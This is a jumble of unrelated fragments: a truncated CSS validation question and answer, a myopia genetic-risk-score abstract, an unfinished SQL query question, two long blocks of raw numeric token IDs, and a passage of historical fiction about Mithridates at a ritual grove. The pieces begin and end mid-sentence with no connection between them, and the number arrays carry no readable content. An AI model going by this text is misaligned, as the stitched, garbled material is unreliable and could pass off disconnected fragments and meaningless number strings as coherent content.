overflow: hidden; text-overflow: ellipsis; } </style> </head> <body> <p class="test">This is a minimal <a href="http://www.w3.org/TR/xhtml11">XHTML 1.1</a> document.</p> </body> </html> But if I try to validate it here: http://jigsaw.w3.org/css-validator/#validate_by_input+with_options I get the following error: p.test Parse Error [empty string] A: Validation has nothing to do with whether any particular property works in any browser. It only indicates whether the syntax and content follows the standard. As this error states, it does not exist in CSS 2.1 but it does exist in CSS3. You can select CSS3 from the "More Options" drop down box A genetic risk score and number of myopic parents independently predict myopia. To investigate whether a genetic risk score (GRS) improved performance of predicting refractive error compared to knowing a child's number of myopic parents (NMP) alone. This was a retrospective analysis of data from the Avon Longitudinal Study of Parents and Children (ALSPAC) birth cohort study. Refractive error was assessed longitudinally between age 7-15 using non-cycloplegic autorefraction. Genetic variants (n = 149) associated with refractive error from a Consortium for Refractive Error And Myopia (CREAM) genome-wide association study were used to calculate a GRS for each child. Using refractive error at ages 7 and 15 years as the outcome variable, coefficient of determination (R2 ) values were calculated via linear regression models for the predictors: NMP, GRS and a combined model. Number of myopic parents was weakly predictive of refractive error in children aged 7 years, R2 = 3.0% (95% CI 1.8-4.1%, p < 0.0001) and aged 15 years, R2 = 4.8% (3.1-6.5%, p < 0.0001). The GRS was also weakly predictive; age 7 years, R2 = 1.1% (0.4-1.9%, p < 0.0001) and 15 years R2 = 2.6% (1.3-3.9%, p < 0.0001). Combining the 2 variables gave larger R2 values at age 7, R2 = 3.7% (2.5-5.0%, p < 0.0001) and 15, R2 = 7.0% (5.0-9.0%, p < 0.0001). The combined model improved performance at both ages (both p < 0.0001). A GRS improved the ability to detect children at risk of myopia independently of knowing the NMP. We speculate this may be because NMP captures information concerning environmental risk factors for myopia. Nevertheless, further gains are required to make such predictive tests worthwhile in the clinical environment.Q: SQL: If null get default value from table B based on identifiers from table A Wondering if anyone can give me hints on how to best solve this query problem. I have two tables that can be joined by benefit code and company code. Only table A has employee number. Table A - Has employee data and their benefit amounts and codes. If null then look to Table B for default amount of the benefit code. Table B - Has company default amounts of the benefit codes. Below is what I'm trying to get at. Only the highlighted are summed. Not sure the best approach will be to get the results I need. I've tried multiple ways. I created a union between the two thinking I can provide some logic on the outer query but I'm hitting a road block again. Select * from ( SELECT EMB_EMP_NO , EMB_COMP_CODE , EMB_BEN_CODE , SUM( CASE WHEN EMB_BEN_CODE IN ('9600', '9601', '9602', '9603', '9604') AND EMB_BEN_TYPE = 'P' AND EMB_BEN_AMOUNT IS NOT NULL THEN (EMB_BEN_AMOUNT / 100) ELSE 0 END) AS "53RDBURDEN_PERC" FROM da.pyempben t3 WHERE EMB_BEN_CODE IN ('9600', '9601', '9602', '9603', '9604') AND EMB_END_DATE IS NULL AND EMB_COMP_CODE = 'ACC' AND EMB_EMP_NO = '8687' GROUP BY EMB_EMP_NO , EMB_COMP_CODE , EMB_BEN_CODE union SELECT 'DEFAULT' AS "DEFAULT_BENCODE" , COB_COMP_CODE AS "ACPYSALRPTC_COMPCODE" , COB_BEN_CODE AS "ACPYSALRPTC_BENCODE" , CASE WHEN COB_BEN_CODE IN ('9600', '9601', '9602', '9603', '9604') AND COB_BEN_TYPE = 'P'

[ 1547, 10839, 6134, 314, 15, 346, 3726, 5082, 626, 1339, 479, 3324, 619, 892, 1137, 937, 344, 753, 2298, 375, 600, 15, 187, 187, 21727, 757, 316, 3407, 281, 5333, 8507, 4087, 275, 521, 7319, 15, 48706, 281, 4089, 285, 342, 760, 13862, 1475, 779, 13, 352, 369, 642, 4282, 344, 3407, 281, 1928, 42467, 1070, 15, 309, 8156, 326, 309, 369, 19507, 670, 6987, 284, 1031, 13, 1512, 13, 285, 33046, 619, 9970, 15, 187, 187, 510, 9455, 4455, 281, 1390, 247, 1048, 673, 15, 187, 187, 3404, 1390, 359, 2210, 281, 247, 19086, 15, 309, 3543, 253, 30653, 16359, 4830, 8336, 15, 380, 36708, 497, 8392, 896, 15, 329, 4677, 5877, 355, 23037, 247, 30162, 29387, 320, 777, 11406, 323, 441, 281, 3213, 562, 15, 380, 1708, 273, 253, 26126, 4950, 253, 2454, 273, 7728, 2310, 5710, 316, 13, 2167, 344, 369, 14186, 417, 275, 8862, 533, 275, 247, 3644, 10839, 280, 417, 12401, 253, 581, 309, 369, 9398, 15, 1893, 497, 512, 253, 1821, 1475, 779, 15, 9658, 731, 309, 7478, 690, 273, 253, 18694, 19699, 8636, 74, 285, 6813, 74, 665, 574, 6730, 479, 16867, 13, 1690, 253, 8481, 6813, 316, 285, 611, 656, 266, 6358, 15, 7160, 14234, 369, 594, 3644, 326, 352, 369, 1892, 281, 2028, 581, 432, 1529, 13, 533, 326, 369, 22991, 15, 329, 637, 1057, 417, 2746, 253, 401, 6465, 14186, 275, 824, 247, 1039, 347, 281, 1067, 4116, 281, 2994, 15, 187, 187, 4015, 3292, 253, 30653, 14, 1257, 44798, 3212, 13, 285, 3977, 407, 247, 1643, 2190, 441, 12206, 7263, 2706, 13, 359, 7428, 247, 2159, 4181, 13, 15910, 387, 247, 1698, 3402, 1160, 273, 7227, 14, 248, 939, 17380, 15, 1707, 369, 247, 2740, 275, 436, 3402, 13, 4457, 534, 247, 33791, 1854, 3977, 281, 247, 9096, 273, 12413, 2158, 2645, 7100, 7139, 15, 496, 253, 13862, 13, 352, 369, 1892, 281, 5963, 253, 9080, 273, 436, 9096, 15, 380, 10086, 13, 36019, 7139, 6225, 594, 2810, 2366, 326, 597, 4447, 247, 3686, 273, 3402, 15, 21836, 1537, 320, 3304, 326, 9096, 273, 7139, 812, 417, 320, 2326, 15, 187, 187, 510, 2360, 369, 1077, 1335, 15, 1707, 369, 642, 3590, 3707, 326, 273, 33535, 285, 253, 9370, 1981, 273, 7263, 2706, 15, 329, 2567, 273, 31636, 14, 1257, 44798, 13781, 28, 841, 497, 253, 6963, 434, 3055, 2133, 36259, 13, 46017, 275, 25034, 285, 31942, 1507, 326, 20786, 3163, 275, 253, 30162, 3243, 15, 1583, 46452, 247, 1355, 1387, 14186, 275, 253, 1072, 3644, 10839, 982, 347, 253, 6813, 74, 285, 18694, 19699, 8636, 74, 15, 9658, 253, 17682, 9365, 34420, 407, 253, 22336, 2158, 1708, 309, 3047, 1110, 273, 9422, 532, 727, 285, 33538, 3093, 316, 15, 187, 187, 3404, 253, 1481, 273, 436, 2567, 369, 247, 637, 665, 651, 452, 6225, 562, 1014, 604, 344, 574, 417, 644, 9398, 247, 1193, 1059, 273, 19445, 285, 3168, 327, 521, 1481, 15, 353, 334, 6992, 684, 6225, 38165, 685, 1014, 253, 10086, 383, 273, 521, 2133, 36259, 13, 285, 521, 2806, 10839, 280, 858, 417, 26037, 253, 37535, 273, 521, 13574, 285, 253, 6513, 939, 1632, 273, 521, 6174, 285, 9246, 15, 11474, 253, 2360, 369, 5890, 13, 344, 14782, 247, 35053, 347, 973, 13, 816, 347, 611, 656, 266, 6358, 574, 8131, 13, 3981, 253, 6963, 1900, 14782, 352, 323, 1774, 15530, 1128, 783, 19445, 35053, 273, 13651, 253, 6495, 13, 2668, 432, 253, 22437, 2578, 19659, 387, 18084, 15, 380, 5328, 32957, 1334, 90, 327, 253, 35053, 7270, 253, 1708, 13, 2007, 4758, 779, 7419, 432, 253, 1551, 273, 441, 15, 187, 187, 510, 6963, 434, 2454, 369, 4076, 14, 1200, 7603, 13, 4645, 521, 6422, 21065, 15, 7608, 348, 3243, 5055, 562, 30450, 273, 9711, 17421, 253, 1048, 4707, 2049, 264, 896, 432, 521, 2454, 15, 3032, 2266, 3386, 497, 1110, 273, 247, 637, 665, 4453, 521, 1682, 275, 4766, 2363, 15, 3032, 6208, 369, 22072, 533, 521, 2927, 1289, 262, 3606, 342, 7162, 15, 187, 187, 510, 760, 643, 33490, 309, 574, 2455, 2326, 594, 2810, 387, 1133, 369, 253, 4102, 372, 7334, 4377, 367, 936, 282, 2577, 13, 896, 275, 10253, 15, 5761, 1821, 812, 417, 452, 644, 625, 43110, 15, 1310, 4377, 367, 936, 282, 2577, 369, 253, 269, 1595, 383, 637, 309, 1871, 2455, 2326, 13, 353, 334, 6992, 684, 369, 581, 273, 253, 269, 44713, 13, 285, 5604, 253, 954, 36418, 15, 41583, 779, 275, 253, 15447, 13, 309, 711, 30125, 323, 521, 13948, 13, 1690, 12300, 15, 187, 187, 42, 711, 30125, 323, 4266, 13, 347, 973, 13, 323, 436, 369, 253, 637, 359, 497, 772, 46496, 281, 49768, 15, 4952, 387, 247, 17834, 13, 309, 3047, 326, 353, 334, 6992, 684, 369, 642, 637, 434, 11213, 15, 1737, 574, 359, 644, 4680, 32, 309, 12659, 253, 660, 2727, 272, 33737, 8387, 1041, 1473, 574, 1160, 347, 309, 2529, 776, 6974, 15, 309, 3543, 1708, 14, 24818, 15, 329, 10480, 282, 273, 17052, 3802, 6840, 697, 1039, 1066, 619, 17201, 15, 187, 187, 9301, 281, 253, 6963, 13, 594, 1199, 4577, 326, 703, 4455, 2761, 247, 1429, 13, 369, 253, 19538, 15, 4200, 553, 369, 1863, 41746, 275, 2806, 23048, 15, 4058, 2133, 21884, 715, 253, 13862, 13, 594, 326, 617, 2502, 14, 27716, 4707, 285, 14530, 3790, 2454, 4455, 2761, 281, 20978, 17255, 13, 347, 604, 7660, 281, 2717, 11834, 15, 187, 187, 42, 17377, 387, 253, 2571, 275, 253, 6963, 434, 2567, 15, 15222, 9422, 532, 727, 285, 33538, 3093, 316, 13, 309, 7478, 253, 2872, 12843, 367, 936, 282, 2577, 13, 665, 6225, 2822, 4200, 553, 15, 380, 14072, 21115, 376, 273, 521, 2936, 3348, 316, 16834, 13, 342, 697, 40110, 2927, 13, 1289, 262, 3606, 275, 253, 1708, 15, 6049, 369, 344, 1146, 2908, 275, 253, 17651, 32, 10348, 253, 6963, 1158, 273, 253, 41802, 24012, 347, 629, 273, 521, 11692, 32, 2207, 13, 1580, 344, 14782, 247, 16834, 13, 369, 367, 936, 282, 2577, 1246, 347, 247, 17292, 8612, 273, 10253, 13, 5747, 521, 3392, 434, 2965, 432, 253, 23399, 32, 187, 187, 2512, 369, 671, 247, 637, 309, 2335, 281, 320, 6365, 16104, 16973, 273, 322, 336, 26633, 13, 253, 594, 14, 8890, 12300, 14, 41, 727, 13, 581, 273, 253, 6963, 434, 8642, 47267, 15, 611, 656, 266, 6358, 574, 2529, 253, 637, 285, 2183, 479, 247, 1652, 670, 779, 253, 2045, 2360, 13, 3981, 6365, 16104, 16973, 651, 320, 253, 19969, 1475, 5207, 359, 1364, 320, 954, 10182, 13, 984, 273, 521, 8530, 3745, 281, 4456, 1046, 2508, 273, 3253, 344, 3047, 285, 3735, 15, 6365, 16104, 16973, 574, 3962, 264, 521, 3541, 342, 247, 1332, 273, 521, 1211, 3688, 13, 1754, 10380, 327, 253, 22387, 273, 253, 1182, 351, 14427, 15, 309, 16632, 309, 812, 452, 1313, 779, 762, 643, 5989, 15, 2752, 3392, 574, 10256, 479, 690, 2969, 24866, 273, 16407, 1320, 13, 533, 752, 1537, 6365, 16104, 16973, 320, 2104, 281, 9798, 479, 32, 187, 187, 9917, 2822, 253, 2914, 273, 253, 2567, 369, 247, 637, 309, 8025, 281, 320, 4200, 553, 434, 3392, 13, 6778, 38332, 14745, 15, 1284, 10643, 2865, 30504, 273, 10643, 1041, 316, 13, 344, 4824, 247, 4750, 342, 247, 5328, 47133, 387, 253, 1755, 281, 921, 521, 6265, 347, 247, 17292, 18182, 254, 15, 309, 3261, 387, 779, 760, 323, 271, 8164, 13, 984, 309, 8423, 3047, 767, 1821, 21816, 896, 275, 253, 1387, 13, 8763, 275, 253, 20586, 1919, 326, 2774, 15, 187, 187, 510, 767, 1821, 6225, 562, 323, 1077, 1027, 4606, 13, 581, 327, 2395, 273, 521, 1979, 1128, 248, 369, 1014, 38165, 685, 253, 6963, 13, 6296, 3240, 6830, 253, 6253, 637, 309, 574, 2455, 2326, 1128, 395, 253, 643, 984, 13, 12401, 4130, 2010, 13, 344, 369, 14186, 275, 3168, 15, 380, 10864, 574, 247, 23646, 2084, 13, 22072, 2454, 285, 8862, 4707, 13, 285, 2918, 247, 5931, 7939, 281, 271, 6871, 23966, 1475, 253, 8370, 434, 7623, 1128, 1542, 253, 643, 637, 369, 954, 5604, 247, 8370, 984, 344, 369, 9398, 247, 281, 2485, 13, 285, 417, 816, 667, 281, 2485, 533, 581, 342, 247, 3862, 19445, 39832, 13, 26099, 521, 3708, 347, 247, 1964, 356, 20337, 14047, 281, 16610, 2137, 15, 831, 574, 281, 320, 253, 10848, 8370, 2087, 13, 46557, 316, 16823, 3750, 13, 285, 521, 43775, 369, 253, 10864, 1925, 35747, 25523, 15, 611, 656, 266, 6358, 574, 2183, 479, 841, 767, 1537, 320, 1246, 13, 253, 6963, 434, 48233, 4283, 253, 6963, 434, 7590, 8370, 327, 247, 458, 1225, 15, 37496, 562, 984, 273, 521, 281, 2485, 13, 369, 16823, 3750, 5486, 281, 6427, 253, 4116, 273, 253, 401, 6465, 285, 1067, 1066, 616, 38696, 327, 521, 7715, 30396, 32, 187, 187, 44, 656, 266, 6358, 6225, 1078, 387, 253, 5909, 275, 253, 1698, 8805, 3402, 15, 844, 13037, 1078, 779, 275, 247, 40296, 1426, 282, 15, 754, 9713, 441, 275, 521, 3676, 13, 36174, 4318, 15, 346, 1231, 452, 7244, 387, 253, 32431, 273, 253, 401, 6465, 15, 831, 8805, 3402, 10880, 253, 31245, 273, 253, 20075, 3509, 4291, 15, 25373, 323, 253, 45121, 11232, 12798, 285, 4589, 275, 619, 3564, 3255, 611, 656, 266, 6358, 2918, 731, 24922, 13, 594, 326, 253, 25254, 1289, 262, 3606, 275, 253, 30162, 3243, 15, 346, 33086, 323, 841, 13, 642, 10485, 273, 667, 3686, 476, 320, 4136, 4457, 436, 1127, 15, 1310, 368, 5730, 634, 2133, 36259, 281, 13920, 368, 13, 5402, 30913, 13, 597, 1364, 2242, 1066, 616, 6174, 449, 187, 187, 3, 2773, 588, 417, 5108, 13, 5402, 444, 1222, 566, 937, 753, 353, 334, 6992, 684, 15, 346, 6872, 1821, 1978, 616, 6174, 387, 512, 2069, 449, 187, 187, 3, 5872, 597, 1364, 3464, 3345, 253, 3402, 937, 753, 611, 656, 266, 6358, 15, 496, 521, 4318, 309, 3735, 642, 572, 11215, 273, 5545, 390, 39500, 13, 285, 2335, 2798, 15, 35284, 359, 9302, 13, 846, 512, 32, 187, 187, 3, 17534, 973, 937, 753, 253, 6963, 15, 346, 6872, 1821, 588, 3297, 1060, 15, 25373, 323, 35747, 25523, 15, 309, 971, 253, 8370, 4370, 281, 5517, 253, 17789, 13, 285, 3095, 556, 281, 2186, 521, 458, 1225, 15, 31910, 1066, 634, 8914, 13, 35747, 25523, 449, 187, 187, 510, 10864, 1160, 247, 650, 24886, 6046, 13, 533, 30017, 850, 314, 440, 24507, 1070, 253, 14228, 285, 703, 4349, 432, 521, 13779, 285, 5176, 2067, 643, 1355, 36014, 285, 787, 15414, 790, 432, 521, 1436, 15, 187, 187, 3, 10795, 667, 643, 637, 1060, 452, 247, 10485, 865, 2546, 611, 656, 266, 6358, 15, 346, 2042, 368, 5730, 281, 4901, 253, 7753, 306, 13, 368, 1364, 2242, 352, 1066, 1024, 15, 6101, 10485, 1246, 1309, 253, 17651, 310, 2779, 281, 46554, 253, 22324, 273, 1110, 359, 403, 1060, 281, 21927, 366, 449, 611, 656, 266, 6358, 3261, 387, 353, 334, 6992, 684, 347, 344, 753, 841, 3000, 15, 4952, 275, 38783, 952, 3260, 253, 2926, 273, 253, 27715, 15096, 326, 353, 334, 6992, 684, 574, 908, 281, 5159, 271, 5061, 316, 808, 272, 16136, 275, 2120, 1859, 273, 1097, 616, 29894, 13, 14252, 352, 562, 273, 247, 17197, 1659, 1735, 281, 521, 730, 32421, 846, 1097, 1821, 574, 4180, 264, 281, 320, 557, 21201, 15, 187, 187, 44, 656, 266, 6358, 4821, 281, 25885, 387, 253, 6963, 15, 353, 334, 6992, 684, 37432, 896, 809, 74, 5954, 13, 533, 4720, 4925, 715, 521, 14234, 285, 7320, 562, 247, 45766, 15, 380, 9711, 6016, 1289, 262, 3606, 342, 49436, 15, 754, 14048, 352, 281, 253, 13595, 273, 521, 2133, 36259, 15, 187, 187, 510, 637, 2335, 253, 45766, 46572, 15, 346, 7093, 30913, 943, 417, 564, 440, 21201, 715, 247, 1659, 835, 521, 2133, 36259, 2550, 956, 449, 187, 187, 3, 1989, 604, 1046, 643, 637, 1246, 310, 440, 21201, 13, 627, 588, 320, 642, 5434, 937, 753, 353, 334, 6992, 684, 15, 3032, 2927, 22007, 2439, 253, 40296, 1426, 282, 273, 30418, 13, 285, 323, 271, 8164, 344, 3261, 4951, 387, 479, 15, 8035, 10480, 282, 273, 17052, 4307, 697, 1039, 1066, 619, 17201, 15, 187, 187, 510, 6963, 434, 15944, 6524, 2210, 281, 4200, 553, 15, 1583, 11373, 387, 1016, 643, 13, 347, 604, 387, 690, 3055, 16391, 13, 285, 840, 4200, 553, 4925, 715, 253, 34579, 273, 2806, 23048, 285, 7320, 562, 617, 1211, 320, 75, 999 ]

hum tunelessly. "They wouldn't let me bring my flute," he said morosely. Damianus began to shift nervously in his seat. Unable to hear and with only darkness around him, it was no wonder he began to feel unsettled. I realized that I was shifting about uneasily, too, and grinding my teeth. The journey seemed to last a long time. At last we came to a halt. I felt the litter settle onto blocks. The curtains were drawn back. A figure holding aloft a torch silently beckoned for us to step out. The light of the flames revealed the face of Zeuxidemus, though he was dressed not in yellow but in a dark tunic not unlike the one I was wearing. So were all the men around him. Among them I recognized some of the Megabyzoi and Magi who had examined me naked, including the Grand Magus and Kysanias. Their clothing was so dark that it was hard to tell one from another, but that was intentional. A man does not approach the Furies dressed in such a way as to call attention to himself. Leaving the litter-bearers behind, and led by a few among us bearing torches, we walked a short distance, stopping at a low wall made of rough-hewn stones. There was a break in this wall, beyond which a gravel path led to a circle of towering cypress trees. In the darkness, it was hard to judge the diameter of this circle. The tall, slender trees stood so close together that they formed a sort of wall. Whatever might be inside that circle of trees could not be seen. The night was very still. There was no sound except that of footsteps and the crackling of torches. A company of spear-bearers approached; these were the king's private bodyguards, clad in armor and helmets that gleamed in the torchlight. They escorted a small group dressed in the same dark tunics as the Magi and Megabyzoi. Among the approaching faces illuminated by the flickering light I saw those of Antipater and Rutilius. At the head of this company was a man who would have stood out even if he had not been wearing a fillet of purple and white on his head. Mithridates stood taller than even the tallest of his bodyguards, and his black tunic did not conceal the breadth of his shoulders and the brawniness of his arms and legs. Though the night was warm, he wore a cloak as well, just as Kysanias had predicted, saying the king always wore it for important occasions—the purple cloak of Alexander the Great, taken from the Egyptian treasury at Cos. The gold embroidery on the cloak caught the light, further setting him apart from the rest of us. The king's face was clean-shaven, showing his powerful jaw. Torchlight picked out strands of silver amid the long hair combed back from his face. His strong features were those of a man who looks his best in middle age. His mouth was grim but his eyes glittered with confidence. The only other monarch I had ever seen so close at hand was the recently deposed King Ptolemy, back in Egypt. Two men could not have been more dissimilar. If King Ptolemy was the fattest man I'd ever seen, Mithridates was one of the fittest, and certainly the most formidable. Seeing him in the flesh, I despaired for his enemies, including Rome. I despaired for myself, as well, for this was the man we were conspiring to deceive. Even at a glance, I saw that Mithridates was no man's fool. What had we been thinking? I remembered the scoffing noises Bethesda had made as I described our scheme. I felt light-headed. A trickle of sweat snaked its way down my spine. Next to the king, so much smaller that she seemed almost a child, was the queen. Monime was swathed in black silk. Her body merged into the darkness, so that her red-gold hair and pale round face seemed almost to levitate, as if attached to nothing beneath. I glanced at the others in the king's company. Besides Antipater and Rutilius, I recognized the young Prince Ptolemy, who stood near Monime. The golden cobra of his uraeus crown, with its ruby eyes, glittered in the light. Why was he being included in the ritual? Did the king think of the kidnapped prince as part of his household? Or, since he wore a crown, was Ptolemy present as a royal representative of Egypt, despite his father's fall from the throne? There was also a man I took to be Metrodorus of Scepsis, the so-called Rome-Hater, one of the king's closest advisors. Kysanias had described the man and told me a little about him the previous night, saying Metrodorus would be the observer around whom we must be most careful, because of his famous ability to remember every detail of everything he saw and heard. Metrodorus had perfected his memory with a method of his own invention, based somehow on the divisions of the zodiac. I wished I could have met him under other circumstances. My father had taught me some simple tricks of memorization, but what might Metrodorus be able to teach me? Also near the front of the company was a man I assumed to be Monime's father, Philopoemen. As Episcopus of Ephesus, he carried a staff with a gold knob at the top to show his authority as a royal overseer. I looked at him only for an instant, because I suddenly saw two men farther back in the group, hidden in the shadows until that moment. The two men stood out for very different reasons, one on account of his size—he was even taller than the king, indeed quite possibly the largest man I had ever seen—and the other because, unlike everyone else, he was dressed in white. The giant had a gaunt, grim face and yellow hair, and held a chain linked to an iron collar around the Roman's neck—for the other man was most certainly a Roman because he was wearing a toga, and not just any toga but one with a broad purple stripe, marking his status as a promagistrate authorized to wage war. This had to be the captured Roman general, Quintus Oppius, and his keeper was the giant called Bastarna. Kysanias had told me these two might be present, the king's bully leading the king's pet Roman on a leash. Standing out because of his toga, was Oppius meant to attract the attention of the Furies and call down their wrath on his fellow Romans? Kysanias stood before at the opening in the low stone wall. We gathered before him in a semicircle. He addressed us in his deep, commanding voice. "We have arrived at the Grove of the Furies. This stone wall marks the perimeter of the sacred precinct. Except for the sacrificial knife and ax in my hands..." Kysanias held them upright, so that the blades glittered in the torchlight. "Except for these, no weapon of any sort can be allowed beyond this point. If you wish your bodyguards to accompany you, Your Majesty, they must lay down their arms." "That will not happen, Your Eminence," said Mithridates. "These men keep their arms at all times." "Then they must remain outside the wall," said Kysanias. In his voice I heard no quaver of doubt or hesitation, and took heart. Might we succeed, after all? "Very well," said the king. "These men will stay here. Except for Bastarna. I want the Roman dog to witness the sacrifice, and someone has to hold his leash. Lay down your weapons, Bastarna." The giant made a grumbling noise, but obediently unbuckled the sword and sheathe from his belt and removed several other small knives and bludgeons from his person. "Does any other man here have a weapon?" asked Kysanias. "If you wish to enter the grove, you must lay it down now. Any weapon present during the ritual is likely to provoke the rage of those we are here to placate." Kysanias looked at Mithridates as he said these words. Even in Alexandria people knew the story of the concealed blade that Mithridates had used to kill an unsuspecting rival in full view of both their armies, pulling it out of a hiding place next to his genitals after both men had professed to be disarmed. Kysanias continued to stare at the king. Mithridates gazed back defiantly, but finally reached into his clothing and pulled out a dagger. The silver handle glittered with jewels. He handed it to the captain of his bodyguards. The man took the dagger reluctantly. "Your Majesty should not go unarmed into a place where his bodyguards cannot follow." "But if every other man present is unarmed, there will be no danger," said Mithridates. His eyes swept across the semicircle of listeners, and for an instant he looked straight at me. Another trickle of sweat worked its way down my spine. The king's gaze eventually came to Monime. They smiled at each other, as if at some private joke, and then Monime reached into the folds of black silk and pulled out her own bejew

[ 721, 1731, 313, 12487, 5029, 11706, 643, 2219, 5224, 690, 13812, 875, 1480, 1941, 285, 45026, 1941, 275, 7296, 1880, 247, 6828, 11844, 943, 320, 7169, 15, 2418, 362, 15, 36105, 13, 33624, 322, 15, 36, 15, 23917, 13, 26972, 13, 39603, 322, 15, 38, 15, 19, 69, 854, 1857, 13, 854, 3357, 313, 5229, 15, 2946, 15, 9595, 10, 5550, 2042, 627, 310, 667, 1480, 1941, 390, 667, 6832, 45026, 1941, 534, 12054, 14280, 281, 5276, 253, 15457, 273, 253, 10145, 390, 432, 534, 15457, 778, 320, 9648, 285, 40452, 36183, 13, 271, 16939, 1302, 1364, 1089, 253, 1083, 369, 6283, 9262, 281, 253, 4984, 449, 313, 18532, 2879, 1228, 313, 18799, 2418, 362, 15, 7902, 13, 36027, 322, 15, 36, 15, 10523, 13, 23414, 322, 15, 38, 15, 19, 69, 818, 2222, 313, 9595, 5029, 1310, 253, 2332, 1302, 1364, 1056, 247, 7441, 326, 253, 45026, 1941, 310, 6832, 13, 326, 651, 1646, 281, 2430, 247, 27466, 273, 253, 1941, 534, 13, 273, 2282, 13, 512, 2219, 5194, 13, 310, 25415, 15, 187, 39899, 13, 253, 2332, 5963, 943, 4098, 247, 6828, 11844, 3200, 672, 253, 1941, 7960, 16540, 247, 18910, 326, 253, 10145, 310, 8106, 15, 8698, 13, 28528, 322, 15, 36, 15, 387, 46968, 13, 44504, 322, 15, 38, 15, 19, 69, 387, 48354, 313, 18799, 2418, 362, 15, 7854, 8498, 13, 22540, 322, 15, 36, 15, 45610, 13, 30188, 322, 15, 38, 15, 19, 69, 23627, 313, 19791, 5029, 733, 310, 9696, 2590, 13, 2299, 13, 326, 327, 4549, 432, 253, 13336, 273, 247, 3200, 323, 6828, 11844, 13, 436, 1302, 1364, 1859, 253, 1941, 275, 253, 1708, 954, 13857, 281, 253, 2418, 15, 7634, 69, 5464, 13, 32575, 322, 15, 36, 15, 387, 7904, 13, 39748, 322, 15, 38, 15, 19, 69, 387, 46916, 15, 187, 510, 2418, 9262, 6206, 326, 37738, 434, 5263, 5866, 275, 247, 1029, 6617, 2170, 1929, 323, 7217, 285, 2854, 2425, 15, 37738, 574, 247, 1355, 7351, 4508, 5512, 4314, 16419, 273, 9370, 16394, 327, 521, 1436, 15, 754, 574, 642, 9370, 12881, 390, 643, 2854, 38594, 379, 2110, 571, 342, 779, 7809, 253, 9370, 16394, 369, 323, 521, 3367, 8353, 15, 754, 858, 13, 2299, 13, 452, 370, 23625, 7942, 327, 521, 1436, 275, 6571, 6818, 14838, 14874, 15, 12743, 19838, 7859, 247, 2014, 5561, 273, 9370, 16394, 310, 475, 23360, 5431, 4211, 323, 6818, 8918, 15, 9182, 272, 436, 1941, 275, 253, 1708, 954, 13857, 281, 253, 2418, 13, 347, 359, 1364, 13, 285, 1293, 8136, 327, 253, 2801, 273, 253, 1941, 13, 253, 5019, 273, 841, 2616, 12647, 1941, 534, 651, 12054, 5257, 281, 5276, 37738, 6034, 281, 16969, 253, 9370, 16394, 285, 13, 3021, 13, 816, 7790, 253, 2332, 1302, 434, 3061, 281, 11929, 253, 1083, 281, 253, 4984, 323, 697, 7441, 4681, 18, 62, 187, 187, 27610, 360, 22430, 19594, 41959, 187, 10457, 697, 4984, 4179, 13, 253, 2332, 1302, 6808, 253, 45026, 1941, 9775, 4102, 7012, 285, 8521, 407, 776, 24555, 1302, 275, 2418, 362, 15, 443, 21743, 251, 13, 31133, 322, 15, 36, 15, 11275, 13, 40625, 322, 15, 38, 15, 19, 69, 41517, 313, 12430, 481, 2732, 253, 4984, 369, 6636, 13, 5684, 5067, 9521, 253, 1302, 2523, 6798, 8024, 8498, 434, 4179, 327, 253, 3064, 875, 1480, 285, 45026, 1941, 15, 6270, 500, 15, 8024, 8498, 13, 8024, 8498, 434, 3684, 9756, 19107, 84, 281, 42770, 14, 36, 31729, 3015, 495, 14, 21, 313, 13034, 481, 380, 1302, 9284, 281, 294, 14, 7778, 253, 4984, 347, 9521, 15, 187, 1231, 3877, 326, 6798, 8024, 8498, 434, 1566, 4179, 327, 45026, 1941, 310, 2074, 281, 253, 5899, 3448, 776, 24555, 1302, 7012, 275, 2418, 362, 15, 24006, 13, 31399, 322, 15, 36, 15, 32513, 13, 36351, 322, 15, 38, 15, 19, 69, 48761, 313, 14643, 481, 380, 5899, 4179, 44587, 875, 1480, 285, 45026, 1941, 13, 5727, 253, 747, 4179, 8671, 275, 443, 21743, 251, 5742, 3054, 627, 310, 642, 4320, 13812, 875, 253, 767, 3510, 273, 1941, 15, 29036, 24006, 13, 31399, 322, 15, 36, 15, 387, 25255, 13, 36351, 322, 15, 38, 15, 19, 69, 387, 854, 2511, 5550, 65, 60, 38, 62, 635, 26741, 15494, 2220, 407, 253, 2418, 544, 18265, 62, 320, 11464, 4457, 247, 5272, 5545, 28, 285, 3346, 512, 273, 253, 5989, 594, 11464, 320, 5185, 342, 1016, 643, 285, 2668, 2366, 13, 1127, 345, 12817, 281, 253, 15457, 273, 253, 10145, 281, 253, 14978, 273, 1046, 643, 5272, 9079, 2464, 2807, 313, 17056, 2418, 362, 15, 11573, 34276, 13, 26249, 322, 15, 36, 15, 32479, 13, 33141, 13, 11289, 322, 15, 38, 15, 19, 69, 44888, 13, 898, 1731, 313, 38460, 9679, 342, 443, 21743, 251, 13, 31133, 322, 15, 36, 15, 387, 11439, 14, 2759, 13, 40625, 322, 15, 38, 15, 19, 69, 387, 41652, 5550, 510, 1569, 2789, 8839, 642, 13812, 875, 253, 2801, 390, 1318, 281, 320, 1677, 281, 2057, 1480, 390, 45026, 1941, 15, 7087, 310, 247, 3687, 4248, 273, 23140, 2424, 273, 45026, 1941, 475, 24117, 685, 273, 1480, 1941, 32755, 4129, 253, 24555, 1302, 4879, 275, 443, 21743, 251, 13, 31133, 322, 15, 36, 15, 387, 11487, 13, 40625, 322, 15, 38, 15, 19, 69, 387, 41368, 13, 285, 43269, 275, 2418, 362, 15, 3532, 5797, 13, 30057, 322, 15, 36, 15, 13900, 13, 16198, 295, 15, 2145, 13, 38820, 322, 15, 38, 15, 19, 69, 854, 3011, 13, 854, 2358, 295, 15, 2145, 313, 11496, 10, 285, 2418, 362, 15, 1997, 1911, 781, 13, 32670, 322, 15, 36, 15, 38162, 13, 37112, 13, 45297, 322, 15, 38, 15, 19, 69, 20048, 13, 21990, 313, 8971, 582, 326, 253, 5899, 24006, 4179, 310, 1335, 247, 17734, 3451, 285, 4569, 4984, 9775, 13, 359, 2550, 9331, 253, 2332, 1302, 323, 17617, 247, 4179, 4102, 5742, 7012, 407, 253, 24555, 1302, 15, 733, 9090, 310, 247, 3451, 3908, 273, 253, 1569, 273, 45026, 1941, 15, 346, 510, 5963, 6283, 9618, 84, 253, 4984, 604, 344, 18212, 3054, 253, 7763, 1569, 15, 329, 4984, 4179, 534, 310, 9619, 3451, 285, 10949, 253, 1569, 1057, 417, 2430, 21080, 449, 2418, 362, 15, 39054, 437, 13, 33251, 322, 15, 36, 15, 38609, 13, 33314, 13, 41029, 322, 15, 38, 15, 19, 69, 721, 2787, 